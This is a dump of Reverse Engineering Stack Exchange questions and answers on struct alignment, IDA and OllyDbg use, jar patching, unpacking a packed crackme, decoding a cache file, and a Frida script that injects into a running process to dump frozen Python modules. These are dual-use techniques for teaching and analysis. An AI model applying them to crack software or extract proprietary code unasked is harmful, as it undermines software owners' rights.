<p>A union is a list of fields <em>starting at the same address in memory</em> (except for bitfields, of course). Its size is at least the size of the largest field in it. In your case, it would be 4 bytes.</p>
<p>Note that, like structs, the size can be bigger due to alignment requirements. For example, take this C union:</p>
<pre><code>union MyUnion {
char a[5];
int b;
};
</code></pre>
<p>The <code>a</code> fields is 5 bytes, <code>b</code> is 4. You would expect the union to be 5 bytes, but, as you can check with <code>sizeof(union MyUnion)</code>, it is actually 8. This is because <code>int</code>s are aligned to a 4-byte boundary. Similiarly, <code>short</code>s are aligned to 2 bytes and <code>double</code>s to 8. <a href="http://goo.gl/yzwlrX" rel="nofollow">Try it on CodingGround</a>.</p>
<p>You may be asking yourself: why does the compiler align the union <em>size</em>? Isn't aligning the <em>starting address</em> enough? It could well keep the size of <code>MyUnion</code> to 5 and align the start to a 4-byte boundary for the int. The problem comes when you have an array of the union. An array needs to be a <em>contiguous</em> block of memory because of how array and pointer arithmetic works. Given a generic <code>T array[]</code> you have that <code>array[i] == *(array + i) == *((T *) (((char *) array) + i * sizeof(T)))</code>. In the example case, <code>MyUnion</code> has a 4-byte alignment requirement (the largest aligment in the union). If you have a <code>MyUnion array[]</code>, the starting address will be 4-byte aligned because of the int. This means that <code>array[0]</code> will be correctly aligned. But if the size of the union is 5, then <code>array[1]</code> will be at a 5 bytes offset from the starting address. This is not 4-byte aligned! Aligning the union size to 8 bytes puts <code>array[1]</code> to a 8 bytes offset, which is 4-bytes aligned. Aligning the size by padding the union allows the array to be contiguous while keeping everything aligned.</p>
<p><strong>Bottom line:</strong></p>
<p><strong>In a union (or a struct), both the <em>starting address</em> and the <em>size</em> are aligned to the biggest alignment requirement of the fields.</strong></p>
<p>Of course, alignment requirements may vary between compilers and architectures. Keep that in mind.</p>
<p>Neither C1 nor C2 is correct as far as I can see, since the first field is a byte and not two:</p>
<pre><code>IMAGE_SECTION_HEADER STRUCT |w/o align| aligned |
Name1 BYTE | +0 | +0 |
union Misc | +1 | +4 |
PhysicalAddress DWORD | | |
VirtualSize DWORD | | |
ends | | |
VirtualAddress DWORD | +5 | +8 |
SizeOfRawData DWORD | +9 | +12 |
PointerToRawData DWORD | +13 | +16 |
...(etc.)
</code></pre>
|
8877
|
2015-05-12T16:31:05.327
|
<p>i have the following question:</p>
<p>For example, when I have the structure </p>
<pre><code> IMAGE_SECTION_HEADER STRUCT | C1 | C2
Name1 BYTE | +0 | +0
union Misc |
PhysicalAddress DWORD | 2 | 2
VirtualSize DWORD | 6 |
ends |
VirtualAddress DWORD | 10 | 6
SizeOfRawData DWORD | 14 | 10
PointerToRawData DWORD | 18 | 14
...(etc.)
</code></pre>
<p>Then how I must count the offsets? The columns C1 and C2 represent my solutions but i am not sure which of the two is right or if both are wrong.
Do I have to consider the union in the structure as 1 field, or do I need to consider its fields separately?</p>
<p>best regards, </p>
|
Counting offsets of structure fields
|
|struct|
|
<blockquote>
<p>How do I debug further?</p>
</blockquote>
<p>See <a href="https://reverseengineering.stackexchange.com/questions/8116/at-the-rpcrt4ndrclientcall2-function-how-does-it-know-which-pipe-to-use-in-or">this post</a> for instructions on debugging the server-side code executed by the <code>NdrClientCall2()</code> function.</p>
<blockquote>
<p>NdrpClientUnMarshal call fails with 3. What does this api do ?</p>
</blockquote>
<p>It <a href="http://en.wikipedia.org/wiki/Marshalling_%28computer_science%29" rel="nofollow noreferrer">unmarshals (deserializes)</a> the data returned by the RPC call.</p>
|
8890
|
2015-05-14T07:27:30.973
|
<p>I was debugging a Windows Store app, wwahost.exe does a NdrClientCall2 -
TWINAPI!PsmApp_StubDesc.
psmsrv.dll registered the endpoint by dcomlaunch svchost.exe.
What would be reasons of a NdrClientCall2 to fail ?
How do I debug further?</p>
<p>NdrpClientUnMarshal call fails with 3. What does this api do ?</p>
|
NdrClientCall2 fails with STATUS_OBJECT_NAME_NOT_FOUND
|
|windows|debugging|windows-8|
|
<ol>
<li>Use <a href="http://jd.benow.ca/" rel="nofollow">JD-GUI</a> to examine the jar file</li>
<li>Unpack the jar file
<ul>
<li><code>jar -xf yourapp.jar</code> </li>
</ul></li>
<li>Modify the .class file with a Java Bytecode Editor
<ul>
<li>Use <a href="http://set.ee/jbe/" rel="nofollow">Java Bytecode Editor (JBE)</a> </li>
</ul></li>
<li>Repack the modified classes into new archive file
<ul>
<li><code>jar -cvf yourapp_patched.jar *.*</code></li>
</ul></li>
</ol>
<p><a href="https://blog.netspi.com/patching-java-executables-the-easy-way/" rel="nofollow">Credits for this particular solution to Khai Tran @ NetSPI</a></p>
|
8891
|
2015-05-14T07:36:31.420
|
<p>Normally I'm working with firmwares and native code executables, patching small things like constants, jump conditions etc. There I'm using IDA's disassembly to analyse what and where to patch.
With Java bytecode I would tend to use the decompiled code from a tool like jd-gui for analysing what to patch. But for actually changing anything I would need a connection between the decompiled code and the bytecode.
Is there a tool that can show this </p>
|
Workflow patching Java jar file
|
|disassembly|decompilation|java|patching|
|
<p>You can get low-level bytecode source of .beam file with <strong>beam_disasm:file(module_name)</strong></p>
<p>It's not easy to read it and takes time to figure it out. But it's much verbose and easier to comprehend than any real hardware assembly code. You can give it a try.</p>
<p>For example, if you have a .beam file called "my_module.beam", open <em>erl</em> and type </p>
<pre><code>file:write_file("/tmp/my_module_disasm", io_lib:fwrite("~p.\n", [beam_disasm:file(my_module)])).
</code></pre>
<p>where <em>'/tmp/my_module_disasm'</em> is the path where you want to save the result.</p>
|
8895
|
2015-05-15T08:58:08.953
|
<p>I have an app that use erlang .beam compiled files without debugging information.
Someone have some tips how to decompile or reverse engineering these?</p>
<p>Thanks in advance</p>
|
Decompile erlang .beam files compiled without debug_info
|
|patch-reversing|erlang|
|
<p>AFAIK, you can only create the <code>.pat</code> files from statically linked libraries using the method you describe. It appears your file is dynamically linked (that would explain the 'invalid input file' message)</p>
<p>You can give a try to <a href="https://github.com/fireeye/flare-ida/blob/master/python/flare/idb2pat.py" rel="nofollow">this IDAPython plugin</a>. A good explanation from its author can be found <a href="https://www.fireeye.com/blog/threat-research/2015/01/flare_ida_pro_script.html" rel="nofollow">here</a></p>
<p>Good luck!</p>
|
8897
|
2015-05-15T12:42:30.973
|
<p>I'd like to create a IDA FLIRT signature for the following PPC uClibc library:</p>
<pre><code>libuClibc-0.9.15.so: ELF 32-bit MSB shared object, PowerPC or cisco 4500, version 1 (SYSV), dynamically linked, for GNU/Linux 2.0.0, stripped
</code></pre>
<p>I got the FLAIR tools from hex-rays but didn't manage to create the .sig file.
If I understood correctly, a <code>.pat</code> file must be created first, from which a <code>.sig</code> file can be created then. I tried <code>./pelf.exe libuClibc-0.9.15.so</code>, but this only returned an 'invalid input file' error.</p>
<p>How can I create a FLIRT signature from this library?</p>
|
How to create a IDA FLIRT signature for a PPC library?
|
|ida|tools|elf|static-analysis|flirt-signatures|
|
<p>If you have a fixed set of instructions you are search for eg:</p>
<pre><code>li r4,0
li r5,16
li r6,32
</code></pre>
<p>Assuming you already have one location found, you can look in the binary hex view, and find the byte pattern you want and use that in a binary search, just make sure you write each byte with a space between them like <code>01 02 03 04</code> so IDA treats them as a sequence of bytes, not as a word/int type search.</p>
<p>If you have a regex like soft match like</p>
<pre><code>slwi r0,r3,2
add r4,r4,r0
</code></pre>
<p>but you don't know <code>r4</code> will be the register used, but know it will be this pattern of <code>slwi</code> and <code>add</code> then I'd write a script (IDC or python) that searches using a text search for outer clause, and then checks for the next instruction to match the expected test, or move to next outer clause.</p>
<p>So the following idc file/code does the outer loop (I was using it to find address offsets that where not set to references), but it might be a good starting base to work from</p>
<pre><code>#include <idc.idc>
static fixAllOffsets( strtext)
{
auto ea, offset;
auto last;
Message("Start\n");
ea = FindText(0x100000, SEARCH_DOWN | SEARCH_REGEX, 0, 0, strtext);
last = 0;
while( ea != BADADDR && ea != last)
{
Message("%a\n", ea);
// INSERT you next line checks here
last = ea;
ea = FindText(ea+6, SEARCH_DOWN | SEARCH_REGEX, 0, 0, strtext);
}
Message("End\n");
}
static main()
{
fixAllOffsets( "0x9[EF][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F]" );
}
</code></pre>
|
8899
|
2015-05-15T14:51:07.947
|
<p>How can I search for a sequence of instructions in IDA Pro? </p>
<p>I did manage to search for a single instruction using text search string <code>li.*r4.*-1</code> (for instruction <code>li r4, -1</code>), but I failed to match multiple instructions or newline character. </p>
<p>It seems to be possible to this by using the binary search, but this requires converting the assembly to the corresponding binary opcodes. </p>
|
Searching for a sequence of instructions in IDA Pro
|
|ida|static-analysis|
|
<p>Right Click within the Disassembler window -> <em>Select thread</em> -> Click <em>Main thread</em></p>
<p>Here is an image for reference.
<img src="https://i.stack.imgur.com/X6ANZ.png" alt="enter image description here"></p>
|
8909
|
2015-05-16T14:48:08.907
|
<p>I was analyzing a sample and the function <code>CreateRemoteThread</code> is called with <code>dwCreationFlag = 0</code>, so the created thread starts immediately after creation.
OllyDbg jumps to beginning of the new thread. I analyze the new thread and at the end of that, it calls <code>RtlExitUserThread</code> and the thread is terminated.</p>
<p>To visualize, you can consider the following:</p>
<pre><code> PUSH EAX ; dwCreationFlag = 0
.
.
.
CALL DWORD PTR SS:[EBP-28] ; CreateRemoteThread
.
(lines which I would also like to analyze)
</code></pre>
<p>As I described, the new thread starts and it ends with a call to <code>RtlExitUserThread</code> but I would like to analyze the lines after the call to <code>RtlExitUserThread</code>.</p>
<p>How can I go back to the main thread, because there was a lot of lines to analyze (after the call to <code>CreateRemoteThread</code>)?</p>
|
How to go back to main thread?
|
|ollydbg|thread|
|
<p>Well, if the packed program executes itself from a virtual environment, things are very difficult. You have to start with the call stack window of ollydbg. Try to find there in which address does it point the packer and go backwards untill you find the Original Entry Point. Then you can use the PE editors to track and remove the packer. Sounds plain sail and not really helpful, i know, but that's how it usually works... I am not very experienced, too, but i 've spent some time over manual unpacking. Wish you luck!</p>
|
8910
|
2015-05-16T15:16:06.017
|
<p>I'm new to reverse engineering, so maybe it's an easy question but not for me).
I've got .exe file which is somehow packed.
When I open it with IDA, I got warning that file was packed or modified, and lots of problems, such "sp-analysis failed" and virtual addresses pointed to nowhere. IDA Unpacker plugin swamps me with warnings.
I tried to analyse HEADER. Sections have wrong bounds: pointer to raw data and size of raw data seems correct, but some virtual addresses IDA cannot resolve, and in "Program Segmentation" window some sections are missed. Most of instruction in file looks like this:</p>
<pre><code>___:00401000 dd 9D3DBCCBh, 0DB7776EAh, 1F6BE17Bh, 0ADFBB803h, 4673D4B7h
___:00401000 dd 903ADB7Ch, 0B03DACBAh, 0CA4C9D26h, 0ECFF17BBh, 0AFC80EE6h
___:00401000 dd 0AE3EAEA3h, 5C244E1Ch, 8F68FA9Bh, 5671677Eh, 8C3CEC8Fh
___:00401000 dd 0F56291C8h, 3D050237h, 9543FF95h, 0DA02686Ch, 6BB1A7EBh
___:00401000 dd 32F012EAh, 99D0F3D3h, 8A8E08A5h, 1280ECB4h, 4B4ACACEh
___:00401000 dd 0FFB892h, 5E01507Bh, 94087230h, 969DCCDBh, 8DD0AB9Bh
</code></pre>
<p>So what would be right approach? Should I create segments manual, and somehow say IDA to interpret it as code/data, or analyse entry point and "start" function that IDA found (with sp-analyse problem at the end)? Or it's better to try make IDA Unpacker plugin work?</p>
|
Packed PE-file, where to start?
|
|ida|pe|unpacking|
|
<p>After lots of research I have found an option:
<a href="http://jonathonreinhart.blogspot.de/2012/12/named-pipes-between-c-and-python.html" rel="nofollow">Python C# Pipe</a></p>
<p>It creates a temp file where I then can communicate between Python and C#. So I can now write an extension for the idle which will get the text inside the tkinter textbox and sends it to my c# wpf window :)</p>
|
8920
|
2015-05-17T11:55:32.527
|
<p>I'm trying to find a way how I can read the textbox inside the idle. The Idle is (I think) written in python (Tkinter ?).</p>
<p>I have tried to find the function which reads the textbox.text through checking the exports function inside the tk85.dll but I coudn't find it.
A normal windows exe would be easier since I have to search for <code>GetDlgItemText()</code>. But how I can done something like this with python written code :O</p>
<p><img src="https://i.stack.imgur.com/1QdvG.png" alt="enter image description here"></p>
|
How I can get the text with c# from Tkinter (python) window?
|
|ollydbg|python|
|
<p>One of the close reasons on Reverse Engineering is:</p>
<blockquote>
<p>Questions asking for help reverse-engineering a specific system are off-topic unless they demonstrate an understanding of the concepts involved and clearly identify a specific problem.</p>
</blockquote>
<p>... and you don't appear to understand the "concepts involved". This is because I asked for a "binary", and you posted a paste bin link that starts like this:</p>
<pre><code>00000000 11011010 11110111 11101111 00101111 01001100 00000000 11011010 11110111 11101111 00101111 00110000 11010011 10101010 00000001 00001001
00000100 01100110 01110010 01100101 01100101 00000001 00000111 01110000 01110010 01100101 01101101 01101001 01110101 01101101 00000001 00000111
(1998 similar lines omitted)
</code></pre>
<p>A 'binary', in the context of Reverse Engineering, is an <em>original file</em>. As it is in binary, before you can parse it, you have to know the exact file format, which seems to be not documented. A cursory search for the first few bytes lead to nothing (if they <em>were</em> known, they could indicate a <a href="https://reverseengineering.stackexchange.com/questions/6012/is-the-magic-number-important">magic number</a> for this particular file type).</p>
<p>But all is not lost yet. After converting the (*cough*) binary to a real file again and inspecting it with <a href="http://www.suavetech.com/0xed/" rel="nofollow noreferrer">a simple hex viewer</a>, I noticed plain text strings, where the byte immediately before it indicated the length of that text string. Further examination - looking at the values immediately <em>following</em> the text strings - indicated there is at least a single other byte <em>before</em> the length/data sequences. Not all data are plain text, but that was enough to quickly make up a C program and display what could be read.</p>
<p>All the program initially did was read two bytes, show them, and then display <em>n</em> characters that immediately follow. I let the program start at a 'reasonable' position, further up in the file, because the first few entries did not seem to follow the exact same format.</p>
<p>This was okay for the very first entry (I got a few lines of data <em>and</em> a text string), but right after that it got lost and didn't display anything useful. Careful examination of the 'failure point' showed that at least one value was special: hex <code>78</code>, followed by another number, did not indicate that the second number was a data length. So I treated that as a special case: 'no data', and looped on with the rest.</p>
<p>For the first 65 entries this went okay-ish: a regular list of raw data, text string, followed by 4 other lists of raw data. Only after that, the same problem appeared again: the list went 'out of sync' and displayed gibberish again. Further examination showed another problematic type byte: <code>08</code>. This seems to have <em>two</em> bytes of fixed data. When I treated that as a special case as well, I got loads more useful output.</p>
<p>At that point I stopped, because the general idea was clear. I found it not worth looking further into what the 'raw' data bytes mean, because they do not clearly indicate 'time stamps' or 'song lengths'. The first set of 16 bytes may indicate a hash or an encryption key; the 4 other sets, all 20 bytes, could be the data you are looking for - but they are not in a regular format.</p>
<p>I skipped the first 70 or so bytes because I did not immediately could see what they were for – I strongly suspect they contain metadata about the list itself (its number of entries, for example).</p>
<p>Note that the 'text strings' are encoded using UTF8. The 'unknown' characters in</p>
<pre><code>"Skrillex and Diplo present Jack [c3][9c]"
</code></pre>
<p>is actually a regular encoding of "Jack Ü", which is "an American DJ duo, side group and collaborative project" (<a href="http://en.wikipedia.org/wiki/Jack_%C3%9C" rel="nofollow noreferrer">source</a>). Recognizing 'regular' data sequences such as these is an acquired skill (and verifying that the interpretation is valid is plain common sense; it is only a quick Wikipedia lookup).</p>
<p>Without further a-do, I wrote up the following C program in less time than it took to write this post.</p>
<pre><code>#include <stdio.h>
int main (void)
{
FILE *f = fopen ("spotify.bin", "rb");
int i,type,len;
if (!f)
{
printf ("no file?\n");
return 0;
}
fseek (f, 0x45, SEEK_SET);
do
{
type = fgetc(f);
if (type == EOF)
break;
type &= 0xff;
len = fgetc(f) & 0xff;
printf ("type %02X len %02X: ", type, len);
switch (type)
{
case 0x08:
i = fgetc(f);
printf (" %02X", i & 0xff);
printf ("\n");
break;
case 9:
printf ("\"");
while (len--)
{
i = fgetc(f);
if (i >= ' ' && i <= '~')
putchar (i);
else
printf ("[%02x]", i & 0xff);
}
printf ("\"\n");
break;
case 0x78:
printf ("\n");
break;
default:
while (len--)
{
i = fgetc(f);
printf (" %02X", i & 0xff);
}
printf ("\n");
}
} while (1);
return 0;
}
</code></pre>
|
8930
|
2015-05-19T06:36:37.487
|
<p>I'm trying to decode this binary file which is from a cache. All I want is the playlist metadata. I am getting some of it using a simple hex viewer, but the majority of the information is random ascii. Is this because there is a bit offset that isn't being accounted for? Or is there something more complicated going on such as hashing or encryption?</p>
|
Decoding binary - basics
|
|binary-analysis|hex|binary|
|
<p><strong>4275451536</strong> is greater than <code>2^31</code> <strong>(2147483648)</strong> but less than <code>2 ^32</code> <strong>(4294967296)</strong><br>
so it is represented as <code>2^31 + ( 2 ^31 * ((4275451536 - 2 ^31 ) / 2^31)</code><br>
ie <code>2^31 * 1.990912266075611114501953125</code> </p>
<p>exponent is always written with bias (1023 for 64 bit precision) added to it so <strong>1054 = 0x41e</strong> </p>
<p>fractional part can be written as <code>1/2 + 1/4 + 1/8 + 1/16 + 1/32 + 1/64 ..... 1/2 ^n</code></p>
<pre><code>0.984375 < 0.990912266075611114501953125 < 0.9921875
(1/2+...+1/64) < ------- < (1/2+....+ 1/128)
111111
</code></pre>
<p>mantissa is approximated upto 52 bits explicitly and 1 or 0 is added implicitly </p>
<p>a c src that shows the conversion of your specific decimal is shown below</p>
<pre><code>#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BIAS 1023
int main(void) {
char binform[100] = {0};
unsigned long a = 4275451536;
_ultoa_s(a%2,&binform[0],4,10);
a = a/2;
int i = 1;
while (a>2) {
a = a/2;
_ultoa_s(a%2,&binform[i++],4,10);
}
char paddedstr[100] = {0};
sprintf_s(paddedstr,100,"%s0000000000000000000000",_strrev(binform));
printf("%x-%I64x\n",i+BIAS,_strtoui64(&paddedstr[1],0,2));
}
</code></pre>
<p>on execution the results are</p>
<pre><code>>F2H.exe
41e-fdac6d2000000
</code></pre>
|
8938
|
2015-05-19T23:00:14.983
|
<p>So im working on an crackme and came across a couple of FPU loads and pops that confused me.</p>
<p>Address main 0040169E pops 80 bit value of 00000000_FED63690h from the FPU stack (ST0=4275451536.0000000000) to the CPU stack</p>
<p>but when put on the CPU stack its value is changed to </p>
<pre><code>CPU Stack
Locked Value ASCII Comments
0028FB38 |D2000000 Ò
0028FB3C |41EFDAC6 ÆÚïA
</code></pre>
<p>Why?</p>
<p>Here is the code with some comments:</p>
<pre><code>main 00401696 PUSH EAX EAX=FED63690
main 00401697 FILD QWORD PTR SS:[LOCAL.268] Loads the FED63690 as a 64 bit value so -> 00000000_FED63690
main 0040169A LEA ESP,[LOCAL.266] ESP=0028FB20 (loads address of string on stack), ST0=4275451536.0000000000 (which euals above number)
main 0040169E FSTP QWORD PTR SS:[LOCAL.260] POPS 80 bit value of ST0 onto program stack as 64 bit
LOCAL.260 is address 0028FB38
Stack now looks like:
CPU Stack
Locked Value ASCII Comments
0028FB38 |D2000000 Ò
0028FB3C |41EFDAC6 ÆÚïA
main 004016A4 FLD QWORD PTR SS:[LOCAL.260] Loads value onto FPU Stack so -> ST0=4275451536.0000000000 (Same as before)
main 004016AA FSTP QWORD PTR SS:[LOCAL.264] <%i> = -771751936. POPS 80 bit value of ST0 onto program stack as 64 bit
LOCAL.260 is address 0028FB28
Stack now looks like:
CPU Stack
Locked Value ASCII Comments
0028FB28 |D2000000 Ò
0028FB2C |41EFDAC6 ÆÚïA
main 004016AE MOV DWORD PTR SS:[LOCAL.265],00401469 Format => "%i"
main 004016B6 LEA EAX,[LOCAL.194]
main 004016BC MOV DWORD PTR SS:[LOCAL.266],EAX s => OFFSET LOCAL.194
main 004016BF CALL <JMP.&msvcrt.sprintf>
Result is:
s="-771751936"
</code></pre>
|
Trouble understanding change in number when popped from FPU to CPU Stack
|
|stack-variables|
|
<h2>Disassembling</h2>
<p>You can disassemble in WinDbg at any memory address, e.g.</p>
<pre><code>0:067> db 000007fe`ff4d0000
000007fe`ff4d0000 4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00 MZ..............
000007fe`ff4d0010 b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00 ........@.......
000007fe`ff4d0020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000007fe`ff4d0030 00 00 00 00 00 00 00 00-00 00 00 00 e0 00 00 00 ................
000007fe`ff4d0040 0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68 ........!..L.!Th
000007fe`ff4d0050 69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f is program canno
000007fe`ff4d0060 74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20 t be run in DOS
000007fe`ff4d0070 6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00 mode....$.......
0:067> u 000007fe`ff4d0000 L1
advapi32!WmipBuildReceiveNotification <PERF> (advapi32+0x0):
000007fe`ff4d0000 4d5a pop r10
</code></pre>
<p>But as you can see, this is more or less useless (in my example useless to disassemble the <code>MZ</code> magic bytes of a DLL's header).</p>
<p>So, finding the right starting place for a disassembly is the critical part.</p>
<h2>Finding code as part of DLLs</h2>
<p>Code should mainly be in DLLs or EXEs (called images or modules in WinDbg). To find them in a memory dump (kernel or user mode), you can run the WinDbg command</p>
<pre><code>.imgscan
</code></pre>
<p>From WinDbg help:</p>
<blockquote>
<p>The .imgscan command scans virtual memory for image headers.</p>
<p>The .imgscan command displays any image headers that it finds and the header type. Header types include Portable Executable (PE) headers and Microsoft MS-DOS MZ headers.</p>
</blockquote>
<p>I was able to verify this in user mode, but with the only Windows XP kernel mode dump I currently have, it does not output anything.</p>
<p>Example output from a user mode dump:</p>
<pre><code>MZ at 000007fe`ff4d0000, prot 00000004, type 00020000 - size db000
Name: ADVAPI32.dll
</code></pre>
<p>So all the necessary information to get the DLL is available. In case of a user mode dump I have used</p>
<pre><code>.writemem <FileName> <Range>
</code></pre>
<p>to write the DLL to disk and analyze later. </p>
<p><code><Range></code> is according the <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/address-and-address-range-syntax" rel="nofollow noreferrer">address and range syntax</a>, e.g.</p>
<pre><code>.writemem advapi32.dll 000007fe`ff4d0000 Ldb000
</code></pre>
<p>This probably won't work for kernel mode dumps because parts of the module may have been swapped to disk, so the DLL in memory is no longer complete.</p>
<p>This approach will also not find code that was generated on the fly.</p>
<h2>Finding potentially executable code</h2>
<p>Code that can be executed must reside in a memory block that has the <code>executable</code> flag set.</p>
<p>Unfortunately the command</p>
<pre><code>!address -f:<filter>
</code></pre>
<p>is broken in WinDbg 6.2.9200. It should work in user mode dumps and output a list of start and end addresses that are executable.</p>
<p>At the moment I only get</p>
<pre><code>0:067> !address -f:PAGE_EXECUTE
BaseAddress EndAddress+1 RegionSize Type State Protect Usage
------------------------------------------------------------------------------------------------------------------------
0:067> !address -f:PAGE_EXECUTE_READ
Invalid filter arguments. Type !address -? to get the list of supported parameters
0:067> !address -f:PAGE_EXECUTE_READWRITE
Invalid filter arguments. Type !address -? to get the list of supported parameters
0:067> !address -f:PAGE_EXECUTE_WRITECOPY
Invalid filter arguments. Type !address -? to get the list of supported parameters
</code></pre>
<p>Although I have a full memory dump</p>
<pre><code>0:067> .dumpdebug
...
Flags 40002
0002 MiniDumpWithFullMemory
40000 MiniDumpWithTokenInformation
</code></pre>
<p>But you get the idea and might be able to apply it to other tools.</p>
|
8942
|
2015-05-20T23:21:05.570
|
<p>I have a running memory dump saved as a raw binary file. This isn't a standalone executable - it's literally just a snapshot of running memory.</p>
<p>I'm looking for a tool that will help me identify assembly instructions within this binary file. Does such a tool exist? </p>
<p>I know you can use OllyDebug or IDAPRO to analyze executables. However, since this is a full memory dump, it'a not clear to me whether these tools are still applicable. For a raw memory dump there isn't a clear entry point that IDA can start with.</p>
<p>Any suggestions would be very helpful. Thanks!</p>
|
How to retrieve assembly from a raw memory dump?
|
|assembly|memory|digital-forensics|
|
<p>As per the <a href="https://reverseengineering.stackexchange.com/questions/5860/reverse-engineering-program-written-in-python-compiled-with-freeze">linked post</a> you can use any debugger to dump frozen modules compiled with freeze. However since you are on a mac, PyCommand and Immunity Debugger will not work. However that does not prevent you from working your ways in.</p>
<p>On a non Windows OS, you can use <a href="http://www.frida.re/" rel="nofollow"><em>frida</em></a> to inject your code inside the running executable. <strike>Since frida injects <em>javascript</em> inside the process, you need to translate the <em>python</em> code to <em>js</em>.</strike></p>
<p>You only need to dump relevant frozen modules, and it would happen automatically as <code>_frozen</code> is an array of all frozen modules.</p>
<hr>
<p><strong>UPDATE</strong></p>
<p>Here is a script to dump frozen modules using the <a href="https://pypi.python.org/pypi/frida" rel="nofollow">python bindings</a> for frida. The script is fairly portable and should work on all OS. You only need to provide the <a href="http://en.wikipedia.org/wiki/Process_identifier" rel="nofollow">PID</a> of the relevant process which you can get from <em>Activity Monitor</em> / <em>System Monitor</em> / <em>Task Manager</em> for your OS.</p>
<pre><code>import frida, struct, sys
# Magic value of pyc files, The value provided here is for python 2.7
# You can get it by imp.get_magic()
PYTHONMAGIC = '\x03\xF3\x0D\x0A' + '\x00' * 4
# Provide the pid of your process
PID = 2008
# The size of a pointer is 8 bytes on 64 bit OS and 4 on a 32 bit OS
ptr_size = 8 if sys.maxsize > 2**32 else 4
# Name of python shared library
if sys.platform.startswith('linux'):
lib_name = 'libpython2.7.so'
elif sys.platform.startswith('darwin'):
lib_name = 'libpython2.7.dylib'
elif sys.platform.startswith('win32'):
lib_name = 'python27.dll'
else:
raise Exception('Unsupported platform')
session = frida.attach(PID)
export_va = 0
# Read a null terminated C string or a char array of a given length
def readString(addr, size = 0):
if size > 0:
return struct.unpack('@{}s'.format(size) , session.read_bytes(addr, size))[0]
elif size == 0:
s = ''
while True:
ch, = struct.unpack('@c', session.read_bytes(addr, 1))
addr += 1
if ch == '\x00':
break
else:
s += ch
return s
else:
return ''
modules = session.enumerate_modules()
for module in modules:
if module.name == lib_name:
exports = module.enumerate_exports()
for export in exports:
if export.name == 'PyImport_FrozenModules':
export_va = module.base_address + export.relative_address
break
if export_va != 0:
break
if export_va == 0:
raise Exception("Could not get export address of PyImport_FrozenModules")
structAddr, = struct.unpack_from('@P', session.read_bytes(export_va , ptr_size))
while True:
ptrToName, ptrToCode, sizeOfCode = struct.unpack_from('@PPi', session.read_bytes(structAddr, ptr_size * 2 + 4))
structAddr += ptr_size * 2 + 4
# The array is terminated by a structure whose members are null
if ptrToName == 0 and ptrToCode == 0 and sizeOfCode == 0:
break
moduleName = readString(ptrToName)
moduleCode = readString(ptrToCode, sizeOfCode)
# You can change the output path here
with open(moduleName + '.pyc', 'wb') as f:
f.write(PYTHONMAGIC + moduleCode)
print '[*] Frozen modules dumped'
</code></pre>
|
8949
|
2015-05-21T22:03:20.717
|
<p>(Note)I have already seen this post: <a href="https://reverseengineering.stackexchange.com/questions/5860/reverse-engineering-program-written-in-python-compiled-with-freeze">Reverse Engineering program written in Python, compiled with "freeze"</a></p>
<p>Would anyone know how to do what is done in the link above using the PyCommand but with a mac app? The program I am trying to reverse engineer is compiled using the exact same program but the binary is a mac application.</p>
<p>Unfortunately Immunity Debugger is only able to be run on windows, so I cannot use the PyCommand (to my knowledge). Any help is appreciated, thank you.</p>
|
Reverse Engineering a python mac application compiled with "freeze"
|
|python|
|
<p>IDA doesn't do the kind of memory breakpoints that Olly implements. Olly implements memory breakpoints by changing the page protection, catching the exception, and then examining some extra data to see if it's one of its own memory "breakpoints". IDA only allows you to do regular software breakpoints (CC), and hardware breakpoints(DR0-DR3).</p>
<p>That being said, if you'd like to break on a memory access using IDA's debugger, you'll have to use a regular hardware breakpoint. You simply click the DWORD in memory you'd like to break on, and then click Debugger -> Breakpoints -> Add Breakpoint. IDA will automatically populate the address of the DWORD in the "Location" field, and then you can set whatever other options you wish.</p>
<p>If you want to set a breakpoint on an entire section similar to what you'd do from the Memory Map view in Olly, do the following:</p>
<ol>
<li>In debugger mode, click View -> open Subviews -> Program Segmentation. </li>
<li>Right-click on ".text" or whatever other segment you need. </li>
<li>Click "Break on Access" </li>
</ol>
<p>This will set a hardware breakpoint that will trigger on read and write. For this particular sample, that causes a problem since the packer obviously needs to read and write that section to unpack. So once you set the breakpoint, press Ctrl-Alt-B, and edit that breakpoint to only trigger on execute. Btw, you can also do this from the regular disassembly view as well by clicking Window -> Program Segmentation.</p>
<p>I'm not quite sure why your program won't run. I stepped through to the "IsDebuggerPresent" check, modified the zero flag(Addr: 0x46BB1F), set the aforementioned hardware breakpoint, and the program ran and unpacked just fine. It does take a few seconds to unpack though, at least on my box. Double check your breakpoint settings, and verify that the following options are checked: "enabled", "hardware", "break", "execute", and that the address location is 0x401000. If you did this from the segmentation window, then the size should be 0x4A000. (It really doesn't need to be this big).</p>
<p>Here's some more information on breakpoints if you're interested.</p>
<ul>
<li>Software vs. Hardware breakpoints: <a href="http://www.nynaeve.net/?p=80" rel="nofollow">http://www.nynaeve.net/?p=80</a></li>
<li>Olly's Memory Breakpoints <a href="http://waleedassar.blogspot.com/2012/11/defeating-memory-breakpoints.html" rel="nofollow">http://waleedassar.blogspot.com/2012/11/defeating-memory-breakpoints.html</a></li>
</ul>
|
8955
|
2015-05-22T10:02:03.793
|
<p>Is there a way to set memory breakpoint on Access on IDA in Win32 debugger... like we do in Olly from the memory window ?</p>
<p>I tried to do that with the example "UnPackMe_NoNamePacker.d.out.exe" in 20th tutorial in lena series, but it's never triggered. Actually, after setting the memory bp on "text" seg., the app won't run !
Here is the file: <a href="https://tuts4you.com/download.php?view.141" rel="nofollow">https://tuts4you.com/download.php?view.141</a></p>
|
Set memory breakpoing on access on a section in IDA
|
|ida|unpacking|
|
<p>When you open a DLL file with IDA, if IDA is able to find the <code>DllMain()</code> function then it will automatically navigate to that function when you first disassemble the DLL. Note that the DLL's entry point (which IDA names "<code>DllEntryPoint</code>") does not always (and in fact often does not) point to the <code>DllMain()</code> function.</p>
